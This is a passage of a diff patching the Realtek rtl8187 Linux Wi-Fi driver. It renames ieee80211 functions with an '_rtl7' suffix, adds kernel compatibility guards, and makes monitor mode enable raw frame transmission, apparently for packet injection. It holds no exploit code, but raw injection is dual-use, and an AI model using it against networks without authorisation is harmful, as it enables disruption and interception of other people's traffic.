ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c 2008-01-30 17:38:11.000000000 +0100 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else 